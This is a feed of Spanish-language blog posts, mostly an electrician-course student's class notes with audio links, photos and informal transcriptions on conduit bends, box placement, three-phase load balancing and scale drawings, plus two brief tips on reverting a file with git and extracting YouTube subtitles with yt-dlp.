<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhm-UuPrFe6YNv-zHwRQmJa1zb1Zyh6hlKUUIx00_6VWnxEKlrsG6m4JmtEEhT4MGz1gOTbgTcU5YSaKu0EBfV9Gf4kglwJgGDLm_eJWL-xnhYXq8UOuT5GYojPms3tE3VJYT2FT_NDyZBzHwMES8lkHQGB1OZsRnKcz5mVSw30CMX6L_NEc_gsNsoWbAE/s4160/IMG_20250813_194035172.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmVfzjXVhxs8WQlcbm-40mGXFj1fMjjcfqrnxTFtx3b9Hv57GmJg06yBl_eyYzu8W-IWzrU_W1AVM80CIaeLCIObxZY37yFvETDcCK7ltr8345HTbVTpG6ZVSyaVuOzjWOPZaUGdRt0FAUCUzBwmeshtLZgMLYeDbQs-lyfCktYYglr4AikmWdKsT1yAo/s4160/IMG_20250813_194038706.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXkbt34OXoK0F0uHoMcFpHN8kkeLadysF7VXUwqm8meWtkS3LYFCmRxnpbqdgXVcDE_fV4euTFcqktgCMsxfDMoMl1YT-1YVDH-UUaDz5tp3bAHqg-NxxQR1LdT2EHoVLJVxn6zjWgVgVjw9oZEIpgTU-FN7OyxOVRrGhfGYFiffdh3OWVep10zIb85zw/s4160/IMG_20250813_202531818.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj94BAoMsptyzYOD_ArnpHB2IvJix48uTht-xds2jgW4QFPU-UoENZMrFg77omEpMx6kP-cj_VFgyBnkVf5aZ63Px71B1NCw1oHoiKUhIahSGweesifFd9AcWHhwc3gUmuTyvkAdSfm_4RWFP67q-J8kpaw89nd1qn9qfyMYOJQTJV1_ouHA9FIFtw7HBA/s4160/IMG_20250813_202536904.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwrZBa-36rXi4duTmBgDdhiKa8bPrbTlMjwq30Yb68nQpxK9wZy3pYIx8wXch93XZUUCmgmu-fRj1apbTZVApEhhR1iqtgC4SDrFQMlbSbgMdn5e_7L-hJ8nEbnYVY4_q5oL8HE8_QH1VPzsDL6Sf_4LK2kPg92OTdBgaZZYAPVF5wkRl6h8rk6feS9Ug/s4160/IMG_20250814_071100162.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj54syNPm0afHZMUW-ZOC27LnD0r2E7R-DpFWr8qyWICX-jyffxnkZIT3eXgSBX74FYmkEcgq3rsCG0e3cnWvkw-Cnajn73zYhY7f61Kk82L_CUvhwnnn2Fx7DAffqH8NT5TPUA-gW1aTeane_EXRv0eiwlbMXlmLTPiNb2ptHGCQgUD134rY-R9zEGqIg/s4160/IMG_20250814_071103139_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4ZiCPt0Oyp9Go5jjzQ3fT_PZwFLiAWxH-ev35EdGdUTO3_YHQVJvDmOqPmnN5eShbnLyRVd5G6-0CON1yo52eUInENtnmdC81o2u_wLP6uY6acRpgsYT13KNnvFOaXux6vYqzlAghje9rak8Wu5SLsc-WdYFB19sp82GG8JWiM7yrk5ACS7mT2OurWGI/s4160/IMG_20250814_071103139_BURST001.jpg" alt=""></p>
-
Electricidad / Clase 54: Ejercicio importante: Cálculo de materiales de un aula. Repaso de colocación de cajas. Altura cajas. Anécdota unió 2 caños de hierro con un corrugado.
https://imlauera.github.io/electricidad54/
Wed, 13 Aug 2025 06:32:36 -0300
https://imlauera.github.io/electricidad54/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://voca.ro/1dkM9ypIxHbl">https://voca.ro/1dkM9ypIxHbl</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-214">https://archive.org/details/record-214</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=oqx2HhKvYQY">https://www.youtube.com/watch?v=oqx2HhKvYQY</a></p>
<h4 id="transcripción">Transcripción</h4>
<p>Vamos a terminar esta parte por lo menos para que entiendan dijo. Dice dentro de un inmueble existe 1 o 2 o más ascensores se debería situar el dispositivo de comando de iluminación a menos de 2 metros luego de la puerta del ascensor.</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHor3cMw1V9zIJDy9Mj77R0KNiRRlj39xFQQx7ccYewfzniMRrLnCuJSK261iNXWPd77auplswB4nxdBX9-0iUCJjU85GLtLqP4FSZhLCtxqpSVWk4j71HIcufwxRzrM22cGMb8stQc5yzeA3qmDCLvQ-i1pMUBhvpKGOmPR1oQJbuCvHy03sxalVB5Ok/s4160/IMG_20250812_185812467_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAA_1xu6lVFbZtcK_Yhz0C2Y0PvmpUHryRnukdPTPC4pSH48I-H2Er0W248FfWN02gU6yUNGBYnRPX7xxG7_4ysqmSn3tZ1r9O3SwSaj5_rFqkAI4nz9Ia2FLSDgOevfG3X9cHPVBwG7mn9cBMc6snH9RDZHREAfyMkjIIh5rAp1DWoaqMakjD_nbeFvM/s4160/IMG_20250812_185812467_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhC8pK5bp5Jxv6n9e7dLVMlgJp2i4DB-3W5pkA8P1-LqS3hA_lhJHrhwPDbsw4JNoHdX19DrUAedFaKHjT30p10rNQUdM6rDIqFiO0L4J_m_bhGkkehRXujiiFnhIN4n24u-3doTYBXKTljfZ3hseUSihHMofXW-C5na3OgA3u-w-_L5oSLBOgwYg_GAI/s4160/IMG_20250812_200829472.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6LFIg79P8GKKHmTanY43w3_U-2Hf1Lu3smTYgKIJtkFD4gPMNaJSIsGMEKEFHb2Sj2I_ceI1RONUSLxLAdbYKyG2rnDJq2KAOjj0BZPi2eLcipxQeTQQC2oP-mKaIyFn6aazkE3Mab9kuVgBQ5kRT5tRuq-PIu72xvlZ11M_rCskzQ8YQEGnH5ltJ_pY/s4160/IMG_20250812_200835459.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzuc6lJ3QXtv6EixR6Iuw2YcKqktCuKMsRVA-79dcn8lmigMcSMIvf7lVyrHBTtFQi3nAGeGmshPj3y2LhJzTxTNBYmOPEsawoeWeEsxi8RiiRw82hyRXM25fybQEAdtS8in9ol9F23DNMZEowsb3J2Vm8URL90FRYJJ12X6JRMWERlEWkBqDSAbJh3W4/s4160/IMG_20250813_061842090.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggg-q5en4wSBAREV-VPji8Mj16j-Du241zrUFPEKspzdeDX0SgbGm_Vb2JuzwlxQufuXde60e1FGi72Mss2HdAjKZDd7iwd9rzDqyCYP2Dg90APcbPgbhMACbDPuOzzxzPI5T-3lGW53u0nrI5zfVVeuikbWzuv-0xTPgPkUioFikGTXY-pWr4BmLbV8o/s4160/melgarejo.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7aS4fAo1V5r2PDv-7h6ghf0EqAqzI7JEkUhjbMfIyo5AvDsTTp9LPbY0CmimEdTKgQFvaqEuq-7kOMkzd6xOG7Y8DcTVvxrfc72jFsOjqtisoMmeTZLF-OJ7nKmalg7ytZK_f8Sn-8pD3et8MqM6uuUhYq8cmhUq42zNl0lApW4eLihiwBemnWiAeZQY/s4160/IMG_20250814_081452245.jpg" alt=""></p>
-
Electricidad / Clase 53: Circuitos eléctricos (repaso). Cálculo de cables.
https://imlauera.github.io/electricidad53/
Mon, 11 Aug 2025 21:54:38 -0300
https://imlauera.github.io/electricidad53/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/1dmyHB2QZCYf">https://vocaroo.com/1dmyHB2QZCYf</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-211-cut">https://archive.org/details/record-211-cut</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=ZySbETHdFSI">https://www.youtube.com/watch?v=ZySbETHdFSI</a></p>
<p>Repasamos el gráfico de circuito de la clase número: 19</p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjO_TGiXXnDBNi0xLXuJDutUC0BdELQ5f3_syda9ewDFJTyxPG9p6TxhVTXYh_tZkTudZdeky7Bhjt8HHMm1WdSZwXRhCP1sPskVNND7XgrkwjMk7S2igeeD7cesZ4dC7GhZoQcwNnTmPflE6Xu82yj42OXJAMUQfDoHspHZh53dWu23vLfOW9wkGtesyU/s4160/IMG_20250811_194048097.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8ZOw03ik0N3yIsKITpBHn-caU3xK8EFmtHtXEkqacxA_4nf1cOUmlhk1vAfjJAYP1OTLtqoPexT80BorKcnTueXZsNLgTieJrsry6JoTnNP8OsczfbE27XBfv12_2XEDZlkiIxL_epk8LjSe7bKzFGc7J91cp7Q4GTiGCJJEc7WzU0Fyy32w5ScRNpBk/s4160/IMG_20250811_194052073.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTuawSbnvKJAcmAHOVV9nWD3zzC5NwDVveRFISYrIljbOiJ9p9GRHlegsy7tbHuodKbLE_Kxc_r0GkwX_IWo5LPnYXJXsVQCaP7KmUqWGRsQDROlppqxp4eVHVTE-yj00tOXf3OE7NgyQFxxcWIU9cEAJMH8uzWnlb3n1IMxiDqVDg1uMQvZdKmTB1vb4/s4160/IMG_20250811_194058442.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPaJAkxuztbYlibABV2wfoJv1RjLIDjUT9wOJwANNTLQfQfgj7QEslw0guvE8YZ4FJeS4sAXcyuHx91XPMtmzyydalCiM5skunjInWhkdP5_0AORqfuGDjggvKdVDXA11GdcVo3O9YnzPmFoa6DN25kIROXKwnDYFEeV9eYmT11zhFCDh6USv9bbf9lb0/s4160/IMG_20250811_200830675.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAxD0Z3oPubw7gLtC2DomO_oekurHzQKQyEaND0FT-nbFrnDU7Jd-LxSzfFWDp_wUa4LG_qCjfPiuAiQ8P_9GA-K5_TOu7UBFfhyGXOEJsICoI3Ua-Q5lTuW9OyUEdSE3neOwrz7J_8tm5Qghe2t9aYB9zijCQYrsbqDJLZwmX4TrIuk33t6TSJ8U0CcY/s4160/IMG_20250811_202212748.jpg" alt=""></p>
<p>Lo que nos está faltando se llama conductor vamos a tratar de ir haciendo martes y miércoles vamos a empezar media hora antes, la idea es que lleguemos a tener más o menos una</p>
<p>A partir del minuto 6</p>
<p>En síntesis esto es la base de nuestro sistema tnemos que saber esto a vece es medio engorroso prque este calculo a veces no estan acostumbardo y cuesta una vez que agarren el mecancisom oque no es dificul ya pueden hacer cualquier cowsa lo que vamos a ver un poquito aohra lo que nos esta faltando es lap aarte de conductores
de donde viene la poate de conductores</p>
-
Git
https://imlauera.github.io/git/
Fri, 08 Aug 2025 02:56:41 -0300
https://imlauera.github.io/git/
<p>Como revertir un archivo a la última versión pushed:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git checkout a47bc66abad9aacd8477de0f86e257b8352446c8 -- file.md
</span></span></code></pre></div>
-
Electricidad / Clase 52: Fotocopia vieja de agrupación de conductores. Clase muy importante entra en examen: Cálculo de materiales: caja octogonal, caja rect. 5x10, gancho U, caja cuadrada, conectores, curvas, cañerias.
https://imlauera.github.io/electricidad52/
Wed, 06 Aug 2025 21:29:10 -0300
https://imlauera.github.io/electricidad52/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://voca.ro/1l55DmLWj7fq">https://voca.ro/1l55DmLWj7fq</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-209">https://archive.org/details/record-209</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/embed/ekm_rgaIL4g">https://www.youtube.com/embed/ekm_rgaIL4g</a></p>
<p>Al comienzo se leyó fotocopia vieja de agrupación de conductores para los nuevos alumnos.</p>
<p>Cuando la gente vea esto va a entender que es lo que necesitamos para ver el tema de la canalización.
Alumno: Se ejecutaran mediante accesorios que no disminuyan su sección interna de modo de no originar dificultades al pasaje de los conductores, con él su deterioro o force de la aislación.
* Llegan alumnos
Profesor: Dale 3 hojas.
Todos los accesorios vos tenes aparte de la unión en algunos lados que se domina accesorios son las curvas porque yo directamente tengo cañería hasta acá en forma recta necesito bajar y necesito un elemento que me una este caño con el otro y la única posibilidad una curva, esa curva son 90 y si uno hace con elementos doblando lo que sea tiene que ser 90 grados o más, nunca menor porque disminuye la sección interna de la curva y la parte de la norma dice que tengo que mantener en todo su recorrido la misma sección entonces se trata de que las curvas, hoy en día ya no doblamos tanto porque hay gente que doblaba mal y aplastaba el caño trata de comprar las curvas no más, entonces cuando uno va armando los accesorios que necesita los componentes de la obra, los materiales, entonces cuando voy en forma recta y choco una pared ahí tengo que bajar, cuando bajo es curva segura, no puedo hacer …, hay gente que le mete corrugado pasa por ahí, hay gente que pica el ladrillo mete corrugado y agarra acá tengo una curva otra curva (tipo S) otra curva, ahí te está diciendo 3 curvas COMO MÁXIMO, lo ideal son 2 curvas.</p>
-
Electricidad / Clase 51: Repaso de simbología para nuevos alumnos y dibujo en escala. Fotocopia de clase 49 estaba mal la definición de numerador/denominador.
https://imlauera.github.io/electricidad51/
Tue, 05 Aug 2025 21:47:58 -0300
https://imlauera.github.io/electricidad51/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/15MBU9U2G3Zf">https://vocaroo.com/15MBU9U2G3Zf</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-204-cut">https://archive.org/details/record-204-cut</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=3hw_UM36m9A">https://www.youtube.com/watch?v=3hw_UM36m9A</a></p>
<h5 id="transcripción">Transcripción</h5>
<p>Estamos hasta acá todavía tenemos 30 minutos.</p>
<p>Esta es la línea municipal para acá tenemos incidencia nosotros, ¿qué otro problema ocurre?, en el sistema trifásico usted preguntaba ahí la potencia la suma total de potencia será igual, ¿que me determina a mi? Que la sección de entrada será menor pero qué me requiere dentro de mi instalación que yo equilibre las cargas.
Si yo en mi instalación domiciliaria una instalación trifásica y no equilibrio las cargas no me sirve de nada porque puedo recargar una fase total ¿que pasa? Lo que me consume en vez de unirme las 3 fases me consume 1 fase y después voy a tener problemas porque se me va a empezar a quemar la sección de 1 de las fases. Lo ideal es equilibrar las cargas, ¿cómo hago para equilibrar las cargas? Veo si tengo instalación de luz es bajo consumo, veo los tomas de mayor carga de usos generales y después voy distribuyendo por ejemplo, equipos de aire acondicionado que tenga en una vivienda que tenga el mismo tiempo de uso equilibrio una fase acá otra fase acá y otra fase acá, ahí puedo prender los 3 equipos sin problemas, fíjense qué interesante porque a veces tengo línea trifásica hasta una ducha eléctrica puedo usarlo juntamente con los 3 equipos funcionando en cambio en un sistema monofásico depende de la sección del conductor que yo tenga si uso la fase y todas las cargas de esos 3 aires coloco en la misma fase, probablemente tenga un problema después.</p>
-
Electricidad / Clase 50: Repasamos simbología. Continuamos con dibujo en escala para cálculo de materiales.
https://imlauera.github.io/electricidad50/
Mon, 04 Aug 2025 21:54:30 -0300
https://imlauera.github.io/electricidad50/
<h4 id="audio-en-vocaroo">Audio en Vocaroo:</h4>
<p><a href="https://vocaroo.com/16EjsGG7ysfn">https://vocaroo.com/16EjsGG7ysfn</a></p>
<h4 id="audio-en-archive">Audio en Archive:</h4>
<p><a href="https://archive.org/details/record-200">https://archive.org/details/record-200</a></p>
<h4 id="audio-en-youtube">Audio en YouTube:</h4>
<p><a href="https://www.youtube.com/watch?v=bdpokpOHJ4s">https://www.youtube.com/watch?v=bdpokpOHJ4s</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidk2thIHOrdGZI-HqbaH1OSG23Mqr_-ozZ3yA3wXW0ukRU1KoYaCojYAg3Ohw2KsoaMfZcQyXlSbpMO2RQSzCpdCenFZC-7IQ1dXixVJFxC4elCWVevmXOraA9dRtRxJoGCBXEgqZub5oVB2X-AgUwGr9VVtDDVMrx_lxySvh3Z9Iv7GqEQHTY3hyphenhyphenfRgI/s4160/IMG_20250804_191630358.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKLBGnqOupN_yonpqt0tOVc4gvDNnvNh0VEtsZDvqRD5se-0fhk3ACtudZsYxEzN1CFomkIJ64HxWmWQhq1MXB3nIEYupEqMt_PhH51H13Eg9eCcB10jBipU7QEaH4dTZ4Zeo_J_JLaLvLZnoR8cS7Y7IM3y8vxWEvWhJpiOSPxOH3a4thGxDb44vESOw/s4160/IMG_20250804_191634352.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh82TK-tZX6GPtRotKZ4ZlG60sMygvzNI4A2YqYwZHf0vKJZxf5PPmDIMll4qjX4vrg2UjsyiA0qiblfgcLeM0vvrmBU2x6Fz5w6Fgdp6xEUwApLyJ1LdiB-4y3yHrERh4CM4FGyOHalLqNr2xsW7lCCIzH9ZJ4RP9ChGCpxVWoczPiaX1FCFe8nT_BMnw/s4160/IMG_20250804_202525611.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwtDduZhN_pFbKoNPbpOpHf7j0fxHcOZEX_9asddZIppv0ZDnGpGJWL8fhKRnInJ5JDxwnXu4UN4azdWbkZ38MX0agGuNkMHLp8iMMCJi2GJ-KPgH38W7ezrePk_0V1gL0O2TlQSPvmclB3gn055F9rU3Lq6Np2oT-xSHbqPCnnIoIN3rGYny47ClgZLI/s4160/IMG_20250804_202536799.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhW8_wk6MFG-C-n1eCFPUCHysoRnPE0kn2qCmGMKNz5-d3JdX0NuV3O-u8S763FxZ4ufkk5sjc9mk6zQhF8cvVoEeDLNEQbI-UF77fmXqH9J6DErXElYUe52aTCrKJYNzDP7R9WE0eAgesmmtryEyaDP6VL6EbG-xm0BvyBz1xP_guD39WqzuzzG-6Mf0M/s4160/IMG_20250804_202538283.jpg" alt=""></p>
<h5 id="transcripción">Transcripción</h5>
<p>Profesor llega en el minuto 5.</p>
<h5 id="ustedes-deben-tener-la-posibilidad-de-entender-el-tema-de-las-escalas-y-como-yo-voy-colocando-las-bocas-los-tomas-y-después-veremos-como-marcamos-los-caños-y-como-calculamos-cada-cosa">Ustedes deben tener la posibilidad de entender el tema de las escalas, y como yo voy colocando las bocas los tomas y después veremos como marcamos los caños y como calculamos cada cosa.</h5>
<p>Por eso me interesa que ustedes no se apuren en entender, después les daré cosas impresas..
Acá la idea es trabajar todo junto para que sepamos como es la secuencia y después el día de mañana saber como hacemos la lista de materiales.</p>
-
Srt to txt
https://imlauera.github.io/srt_to_txt/
Sat, 02 Aug 2025 09:39:33 -0300
https://imlauera.github.io/srt_to_txt/
<p>Si queres hacer un resumen de un video podes descargar los subtítulos y copiar y pegar por partes en Grok, ChatGPT o NotebookLM.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yt-dlp --ignore-config --write-subs --write-auto-sub --sub-lang es --sub-format <span style="color:#e6db74">"srt"</span> --skip-download https://www.youtube.com/watch?v<span style="color:#f92672">=</span>VIDEO_ID
</span></span><span style="display:flex;"><span>sed -E <span style="color:#e6db74">'/^[0-9]+$|^$/d; /^[0-9]{2}:/d'</span> video.en.srt > subtitles.txt
</span></span></code></pre></div>
-
Electricidad / Clase 49: Repasamos conceptos. Dibujo en escala y planos.
https://imlauera.github.io/electricidad49/
Thu, 31 Jul 2025 01:17:03 -0300
https://imlauera.github.io/electricidad49/
<h5 id="audio-en-vocaroo">Audio en Vocaroo:</h5>
<p><a href="https://vocaroo.com/1kIHpRnIBrwu">https://vocaroo.com/1kIHpRnIBrwu</a></p>
<h5 id="audio-en-archive">Audio en Archive:</h5>
<p><a href="https://archive.org/details/record-195_202507">https://archive.org/details/record-195_202507</a></p>
<h5 id="audio-en-youtube">Audio en YouTube</h5>
<p><a href="https://www.youtube.com/watch?v=gJ3CSxDxKLw">https://www.youtube.com/watch?v=gJ3CSxDxKLw</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1hhYbeyK3ENz1fyfZxA9sEnL-0g6-dlICPs9G8OY7J4EH640q0wiplV5NKil2W_aKFg5C6b1gNmYcGEavzNgYccyHxyjIOT04-mD18MeGuyeFyJznR6mUUp5cTNRcqwza4Xkzt63v2eny8fIXaCjWQX-HalqfDB2DLpVj94dqEdIQz2WPDGoCwmb-XfM/s4160/IMG_20250730_203145602.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyxvk2NOWGWEJ2tUgkhWAR8UASwZduHDAozMEn1Q1sodczuyZXm3rmM22jLrVwzmNnuOt6unK1pRjzebf2mt9_RgjGHQ70iG0LN8vvhaFOxvQH6s9vUj13BweHQql56WFexJXntsDurtZcUEX-Rp9o4ONTJN6PHfOXKh1z7zSLqmP4ik5ZTb1hbo1eGDM/s4160/IMG_20250730_203147421.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZR-fv9wJ90d8a8TwrFXfD6wiGwdqk5U_MMbtzjhvdz0Am4feCaXuPuqnth_gq89koBfIq7sm7uiYKjcncIWY2f_aAaz0SeiywyFBMkqbYSS00l-oV4tTsf7KfjlNwlpbXqbkjKygwtKEAtA4QQfBQRnhvurfjFtGiQbqZcIP57bLuFAUsCzc2BqDkn8s/s4160/IMG_20250731_010752532.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRcZwcEQ26-r46JftEemofnPsZXSNi2C9ywKpecz0c0qhGXn3aIcaWbMJuwBHWcV3FAV-5Ij4SDte1gdjFReoHYCO1POd3c88f9dehTPVhVfrvoq4u2sNI-A4PGL6tqILNsPIWBE8fzOHagh0ATtS_hHoDKE8CpBIJ1YZyq3j9Z0jrOKQXiAHHnjHiDdo/s4160/IMG_20250731_010830654.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZdzseDcvNUCZYOr0bR_9PskFXXCaM2dTo4dETLM7us1swyuUQkHMS4d59v5dWxyn9sgI5XuPukUaPzmJ9slvjCgJbhXg7I3asLAlD4KsF5Hnl4lO8ZdhBUwA0Fs5nvMvNZICdxdAfZYAgPsQ-Dez0qxrastAGCZvCHcJmdIy3wN8AsnzICexEFOlbbQc/s4160/planos.jpg" alt=""></p>
<hr>
<h5 id="transcripción">Transcripción</h5>
<p>Profesor llega a las 5:30</p>
<p>Profesor: Prohibido caerse está mi pollo ahí electricista que vamos a llamar a otro electricista.</p>
<p>Me compré la chomba y no es que me gustó mucho, atrás parece de esos jugadores de fútbol: CENTRO DE FORMACIÓN 1, para qué quiere que se vea tanto.</p>
<p>Casi tuvieron suerte, me fui a comprar esto y la idea era sacar fotocopia justo no tenía la nueva fotocopia para la semana que viene me voy a dedicar a que todos tengan información por lo menos, eso vamos a hacer.
Ahí veo caras nuevas, espero que no vengan más porque sino vamos a quedar atrasados otra vez.</p>
-
Electricidad / Clase 48: Plano. Dibujo a escala. Pedir foto plano escala.
https://imlauera.github.io/electricidad48/
Tue, 29 Jul 2025 22:58:32 -0300
https://imlauera.github.io/electricidad48/
<h6 id="audio-en-vocaroo">Audio en Vocaroo</h6>
<p><a href="https://vocaroo.com/1cpnXdKWPsk1">https://vocaroo.com/1cpnXdKWPsk1</a></p>
<h6 id="audio-en-archiveorg">Audio en Archive.org</h6>
<p><a href="https://archive.org/details/record-194">https://archive.org/details/record-194</a></p>
<h6 id="audio-en-youtube">Audio en YouTube</h6>
<p><a href="https://www.youtube.com/watch?v=MlWojvyrz4Y">https://www.youtube.com/watch?v=MlWojvyrz4Y</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoShuB3Y8EcKNpIsxVJJO-k4DnJM8I2CuNcRTmLcTs4FskZUdOF__imBcShmB4UAljxEa_exmaq2ehBczbhyphenhyphenc7dzjQh2TAdB4Uf9A07vMfvmz-qky0jqZjY6wTku-FGhvyDkvPSWucqoFBcWwLc-Ne7-LznXN7z1GmxM4oyIRJ3dTVl1Ec8ETMoLj91bE/s4160/IMG_20250729_190746665.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxQBrhtDu0Uk_y3HWqzm-BYtXK44QBkwDcxDqCVxH9HtfZBd27d_U1dbXsnTT7YO8AOpzDKcelnpNLx98bDFKUOLErHpcO7H-EYkusiDlDPCO_ws6ZmZHsFnelJoNCDirOGFCUkioPBsHQtbS0IMO8FM2Oy9HJwFvJ7Nv45C_FUMnu0rNErfV3PHoiNHs/s4160/IMG_20250729_190758060.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmfD8JqobuG2SM7auIMGA-CS2k7OtbxDubT28v06qgiDdgp9AHpm4Ge_YSBGtN7C8cz4kpUvSgKQhWYb-SyqBTD0OGRntsmzwY68KuDDsgfzIHMWKM5iNOGJbx2eJwElwIju457n-OWQdmjRhnIrnnYfrZRI-iNyxxKuWlPxQsdkCrubCeua8VwjJdcqQ/s4160/IMG_20250729_190803303.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu4CNwzED1_dySVfZCj_olhY6nF4uqi0dlbvnVGau4MJBgcO-ME_RfaLoI5vkHkH-OI3NVmnwD0BF7mGGzF1HW6PlP7ZmdDqllMaPKD1jRUJPTVd_PcVeCSkFUr9Ilm72kVeVTv_Psk6ns0f_o-LnOFcc_rllU2JLvKonHKjP3YyyCHMWX1-HzAsTTB3A/s4160/IMG_20250729_190818563.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlsZw_9JxbKFsQYYvvrbO_MaS5TsgTcWFa8VUg8S6xWAvOxVq7dW4psXYvPd4aqUk5M0PJM5ILko6rCpXySBUM2jX1TYAHEBS8IgWqoKUcbrVS-yZXo7s3no73JRTuZMx36NkXjIBNFC93txqL6i9Mm5wISbY7Czo4-unh3MzfQFsYqCF0ZqBtyQPBSOQ/s4160/IMG_20250729_190822738.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNIdmi-QDu1jy3QfNuauZBgw_Liu2YXd52gzZAr8I901k_OHS7qD4AfPDZErt5Z8ue69XqKnaxbp1mNv8RVAAQAwyxrRslQZGkZ19HLR1cT2baX_z1bzB1KU7OuaNR9EAopY4ZSwRkoxBDlKAUdz5lXV-TBc9_TEOs475WAgqlHQH3CIOBHjpT6RyyCnY/s4160/IMG_20250729_190824024.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIR8S-U2c1wa32_dRYKT9FA78dPV-5kkdYvnFgEJqHFeiwhMtUYzxKIfBOAB-cLNKCSwgx0edOIOoYubKpM1-GAWd9Bw65GhSIBBqfyPK9B-1D8jnuATauXyv4PSPSH5TaBUwcdDQoXGs3bIQGaPbLK7PHvz9K2RxwFMMc6_ill-GWmtsAmvSpNUfPIsY/s4160/IMG_20250729_190830112.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyh1zhAvxjkIwp95-caw1XtJfxvr_xVTajdXgrFGEW3yqtFK3S74v0wK8pZNNCYL7WBQ_uGtFn3PraOe-piIL_ZOuleaIqEevuBSYLXhzTztB0hpXK3hauFgl1EMwgYpE0ovg5HEjL5zpnJu2ziBiDEcZoPi0-Go9eCi_HqjWd7y3cb0NUhNespYC1Oig/s4160/IMG_20250729_190857203.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxiDTSAZfXeTN-T4yEObTJWveNlUjfhi2i-zkeshncU9rL3SSSmyDJC4ZLLnJDl0D0VY8XTs4Pg0-dmB8ibqV-h1nWFWyuKr_ZZVfHrWQ5B_13hZ-2zfMlMvSUkiD-Srr2t1vJ4ZPhpZaSUuz_NC4wWq_vgcwlK5gA2qzkON1x2WM569l0JuynpDEQf34/s4160/IMG_20250729_190859396.jpg" alt="">
